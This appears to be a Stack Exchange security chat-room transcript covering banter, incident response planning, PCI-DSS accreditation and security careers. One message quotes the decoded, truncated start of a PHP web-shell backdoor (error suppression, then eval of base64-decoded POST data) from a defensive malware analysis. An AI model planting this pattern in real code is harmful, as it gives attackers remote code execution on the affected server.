The DMZ

AviD

07:49

@Adnan probably because they compete in Eurovision.

of course, if that's the reason, that means you're gay. Because you watch Eurovision.

@CodesInChaos that's actually debatable.

technically speaking, it's probably more in Asia. Historically speaking, Israel was considered the bridge between Europe / Asia / Africa. Hence all warring...

Some historians consider the Crusades to be a medieval equivalent of the oil wars in Iraq.

@ThomasPornin Not as blurry as you might expect. There are quite a few genetic markers that relate pretty directly to an individual's racial history.

CodesInChaos

08:35

@AviD Yes yes I know. For example israel is a member of the european go federation :)

AviD

For example, there are a pile of hereditary diseases that affect only (or rather, almost only) a specific race.

@CodesInChaos what is the go federation?

fans of the game?

Rory Alsop

mornin'

AviD

@RoryAlsop isomorphism'

Rory Alsop

@AviD natch

AviD

ran into this article on career advice: Don't Call Yourself a Programmer

Gold.

needs to be mentioned any time there is a discussion on careers and such...

Rory Alsop

08:46

hahahahaha - that is actually a very good article

CodesInChaos

09:10

@AviD Not sure what they actually do apart from maintaining a ranking list

AviD

@CodesInChaos oh, it IS about the game? I thought I was joking.

Rory Alsop

I liked this quote - "...so, if my account is removed, for example, all the upvotes I've given to other people are removed from their accounts? Is it like with black magic, after the sorcerer dies all his evil deeds are undone?"

Rory McCune

@RoryAlsop that's easy, they shirk all responsibility :) the backer is responsible for checking things out and the person kickstarting it is responsible for delivering their pledges. There have been some reasonably large kickstarters where people haven't got their goods over a year after they were meant to...

CodesInChaos

I'm a go player, so yes it's about the game

Polynomial

I've added more details to that PHP deobfuscation answer, and included the script I wrote to automate it.

Rory McCune

09:16

@RoryAlsop that one... mmm looks nice I wouldn't personally back it. It's their first hardware project and they don't look to have a track record of scaled up manufacturing, which is where a lot of these things are coming unstuck...

CodesInChaos

btw. my avatar is part of the solution sequence for a well known go problem

Polynomial

44

A: default.php file found on the server, is this a security threat?

Yes, it's malicious. This script has 20 layers of eval/deflate obfuscation, but eventually decodes to: @error_reporting(0); @ini_set("display_errors",0); @ini_set("log_errors",0); @ini_set("error_log",0); if (isset($_GET['r'])) { print $_GET['r']; } elseif (isset($_POST['e'])) { eval(base64_d...

I know a few people were interested in the details.

Rory Alsop

@CodesInChaos I'm a beginner, but really enjoy playing

AviD

@JeffFerland ohh lord, I was rotfl all over the place. My wife came to see what the noise was, and she's not even home. Funniest sport ever.

@RoryAlsop that too. close second.

@CodesInChaos ahh, I see.

I played it a few times long time ago, not very much. Dont really remember the details.

Rory Alsop

09:39

@AviD I am still at the stage where I can see only a couple of moves ahead, so anyone half decent beats me without really trying, but I'm slowly getting better

AviD

10:29

@RoryAlsop eh. When your 7-year old can beat you almost consistently at chess, now that's embarrassing.

Makes me so proud.

CodesInChaos

I fall in the play a lot, but don't improve that much category

I think I've played 2000 online go games by now

AviD

@CodesInChaos markov chain what now?

Rory Alsop

play in the fall, maybe?

AviD

thats what I thought at first, but what the 2nd part?

maybe this is go-geek-speak.

CodesInChaos

I fall in the "play a lot, but don't improve that much" category

AviD

10:45

hahaha, punctuation ftw

My English teacher was right!

CodesInChaos

It's chat. Need no fricking punctuation

I'm just testing the robustness of your fuzzy english parsers

AviD

hehe, not so robust, I guess.

Rory Alsop

hahahaha - I completely failed to parse it

AviD

We just assumed the mistake was on your end, not that we need to implement hueristic parsing.

I.e. We assumed that you're an idiot, not that we are.

CodesInChaos

FU. I'm da inteligentest man in da universe.

AviD

10:51

Obviously, we were wrong.

Rory Alsop

:-)

Polynomial

yeah, I failed to parse that one too.

my brain is a bit like a compiler - it doesn't comprehend things unless they're properly formatted and punctuated.

otherwise it throws an Unexpected T_PAAMAYIM_NEKUDOTAYIM

@RoryAlsop You're into security policy stuff, right?

0

Q: What goes into an average incident response process?

I'm trying to brush up on the more process-orientated and policy-orientated side of security, and am interested in incident response. I understand that most businesses have some kind of basic security incident response process that governs how they deal with security incidents. What elements nee...

AviD

11:06

@Polynomial hehe. I need to start using that in speech here. It will be almost vaguely understood, which tends to confuse even more.

Polynomial

@AviD even better if you pronounce the T before it :P

AviD

@Polynomial hahaha! "most businesses have some kind of basic security incident response process" don't we wish! n00b!

Polynomial

@AviD heh, well by "security" I mean disasters too.

though even then I might still be overestimating ;)

AviD

the defacto process is: "1. Panic. 2. Blame somebody else."

CodesInChaos

"roll over and die" is a process too

Polynomial

11:08

I've edited: "I understand that most security-competent businesses have some kind of basic security incident response process"

snark++;

AviD

@CodesInChaos sure, but usually not a well-defined one.

Polynomial

@AviD roll over, catch fire, and die of smoke inhalation.

AviD

@Polynomial oh. well. Sure, that's a bit of a tautology, isnt it.

Polynomial

specificity ;)

CodesInChaos

"well-defined" is too hard a requirement

AviD

11:10

@CodesInChaos okay, "formally defined" then.

CodesInChaos

yay bureaucracy

AviD

I meant that its usually not written up in a document before the incident.

Usually.

Polynomial

I like the Scottish incident response policy: drink away your troubles.

that's definitely a formally defined policy.

AviD

It would be interesting to try to document that as the policy, for any regulation that requires such a process.

@Polynomial this is going to sound a bit off, but your question is a bit too wide.

Polynomial

@AviD 1) Ingest ethanol-infused liquids. 2) Pass out. 3) Suffer amnesia.

@AviD how so? I can try to narrow it down a little.

Rory Alsop

11:12

@Polynomial yarr - will have a quick read

AviD

"Incident response" can - and should - cover quite a wide range of incidents. I've dealt with only a subset of those, I'm sure Rory has dealt with many more types.

Polynomial

well "it depends" is a valid answer.

AviD

@Polynomial attacks / bugs / disclosure / insiders / earthquakes / etc.

Polynomial

because it informs me that there are, in fact, a lot of things to cover.

EARTHQUAKES ARE STEALIN' MAH DATAS!

Rory Alsop

For a lot of them, the relevant stages are actually very similar

AviD

11:14

I've not dealt much with DRP / BCP, but when I build an SDL I definitely cover bugs, disclosure, and a subset of "attacks".

Rory Alsop

understand incident/pass problem to team what understands that type of incident/make sure they do their job so there'll never be any problems again

:-)

AviD

@RoryAlsop heh. thats not really the process...

1. have problem. 2. deal with problem. 3. discuss.

Rory Alsop

lol

Polynomial

I wonder if anyone's ever done tectonic exfiltration.

AviD

not a process....

Polynomial

11:15

wait for an earthquake and use it as a distraction in order to steal data.

AviD

@Polynomial taking Germans outside?

Rory Alsop

I thought you meant retrieve stuff that had fallen into an earthquake

Polynomial

@AviD Germans?

Rory Alsop

teutonic

:-)

Polynomial

@RoryAlsop haha, that's one option

AviD

11:16

@RoryAlsop ah right

Polynomial

@AviD tectonic == earthquakes, teutonic == german thing

AviD

@Polynomial platonic == not a love interest.

Polynomial

plutonic == radioactive drink

AviD

@Polynomial thats no moon?

Polynomial

I hit enter too fast :P

AviD

11:18

actually, I think there was a movie about the earthquake thing.

Polynomial

there have been many movies about earthquakes.

AviD

exflitration...

Polynomial

escaping from earthquakes is a common theme.

AviD

@RoryAlsop for example what he mentions re forensics, that has no relevance at all to many types of incident, but its core to some.

btw @Polynomial part of what I was saying is that "incident" also matters what we're talking about. My own website? Internal corporate network? Product installed in millions of places, or maybe only 3? Etc.

or just break it down to Product/Operations.

Polynomial

corporate network

I should probably clarify that

CodesInChaos

11:27

you did some reading on OpenProcess @Polynomial? Recent post looks far more accurate than your older ones

Polynomial

@CodesInChaos yeah, I read through all the MSDN docs.

there are some bits that are confusing - it's possible to sneak round a few of the issues in my other question using some tricks.

but other than that I pretty much get it now

Rory Alsop

11:41

@Polynomial given you some quick summary stuff - literally looking at some of the key headings I would expect to see at top level, and the next level down. I haven't gone down to the actual team activities level

Polynomial

@RoryAlsop lol'd at use of tectonic exfiltration

Rory Alsop

@Polynomial well - I had to

Polynomial

hehe

good answer though, definitely informative

would rock if you could stick a few "further reading" links on the end, too

Rory Alsop

@Polynomial I can do that - lemme go and grab a sandwich first

Polynomial

enjoy the sammich ^_^

AviD

12:05

@RoryAlsop very nice. More complete than I would have provided, but... I still feel like there are some things missing.

Perhaps because I focus more on the devops side of things.

Rory Alsop

@AviD things missing at all layers - these are just examples of bits that should be in

I know the last one I did for a client had hundreds of pages and many different subcategories - by team, location, classification of data, impact classification..yada yada

AviD

12:36

@RoryAlsop examples of butts?

sure, I dont expect it to be a complete policy right there, but I think it's focused more on corporate and on network ops than devops.

Terry Chia

@AviD Ahh, the usual butt-talk is going on i see.

AviD

I'll try to flesh out some concrete comments later.

Rory Alsop

@AviD probably right

I do less in dev-ops

AviD

@RoryAlsop that's not surprising :-)

Stack Exchange

13:12

Rory Alsop has added Rory Alsop to the list of this room's owners.

Rory Alsop

heh - just found out mods can do that :-)

Mwahahahahaaaaa - one step closer to WORLD DOMINATION!!!!

Polynomial

you're a room pwner?

Rory Alsop

ayup

Otavio Macedo

13:47

Hi, @Polynomial! Thanks for the answer.

Do you have any example, to make it more concrete?

These things are still pretty abstract to me...

Polynomial

hmm

I'll drop something in an edit to the answer

Otavio Macedo

Cool! :)

Terry Chia

@OtavioMacedo Isn't that sort of the point of PCI-DSS? :P

Polynomial

gimme a while, I'm at work atm.

@TerryChia good point ;)

PCI-DSS is pretty vague at the best of times.

Otavio Macedo

@TerryChia What do you mean?

Terry Chia

13:50

@OtavioMacedo Many of the requirements in there are quite vague and open to different interpretations.

Otavio Macedo

@TerryChia That makes it even scarier!

Rory Alsop

yep - it is one of the ways PCI try to avoid loopholes catching them out - they can demand that the interpretation is in their favour

Otavio Macedo

I'll probably ask tons of questions in the next days about PCI hehe.

Tinned_Tuna

where does one get resources on PCI-DSS compliance?

Rory Alsop

@Tinned_Tuna there are loads of websites with broad guidance, and a fair few companies that do PCI prep, PCI defence, or even PCI QSA's

or you can read PCI's own guidance at pcisecuritystandards.org/documents/pci_dss_v2.pdf

Tinned_Tuna

13:54

@RoryAlsop Do you just get yourself familiar with the guidance, then go about implementing it? Or do you need to be some how qualified/assessed by PCI ?

Rory Alsop

@Tinned_Tuna you need to be assessed

that is the role of the QSA

So most of the PCI stuff I get involved in is preparing the organisation for the QSA to visit

Polynomial

@OtavioMacedo added an example.

Tinned_Tuna

@RoryAlsop "you" as in the person who's claiming to be knowledgeable about PCI, or "you" the entity that is attempting to store the data?

Polynomial

@Tinned_Tuna both, iirc.

you have to be tested to become a PCI practitioner (or whatever the term is), which means you're then allowed to test that systems are PCI compliant

Rory Alsop

If you want to be a QSA, you need the PCI to accredit you/your org. If you want to hold card data you need the QSA to accredit you on behalf of the PCI

Polynomial

13:56

^

Rory knows way more about PCI than I ever care to know.

Rory Alsop

Companies storing data find it difficult to know what they need to do, what they definitely don't need to do, and what may be a grey area - which is where I get some fun work. Sitting opposite the QSA, arguing the case for certain interpretations

Tinned_Tuna

I'm a software engineer (Mainly Java), and I'm wanting to move more into the field of security. Hopefully as a penn tester, or code reviewer, but also in a more general sense. I've been doing a fair bit of crypto stuff as a hobby, and security stuff on the side. Does it seem feasible ?

Rory Alsop

@Polynomial way more than I want to know

Otavio Macedo

@Polynomial Thanks again!

Rory Alsop

@Tinned_Tuna It is always feasible - I have hired in people from all walks of life

having IT related discipline can help, but isn't necessary

we have a range of questions on this

Tinned_Tuna

13:58

@RoryAlsop where are you working at the moment, if you don't mind me asking?

Rory Alsop

@Tinned_Tuna right now, I run the security team for PwC in Scotland - at least for the next couple of months, then I'm off to a fun role in a bank

did 10 years running the security team for E&Y in Scotland, then a couple of years running my own consultancies

Transcript for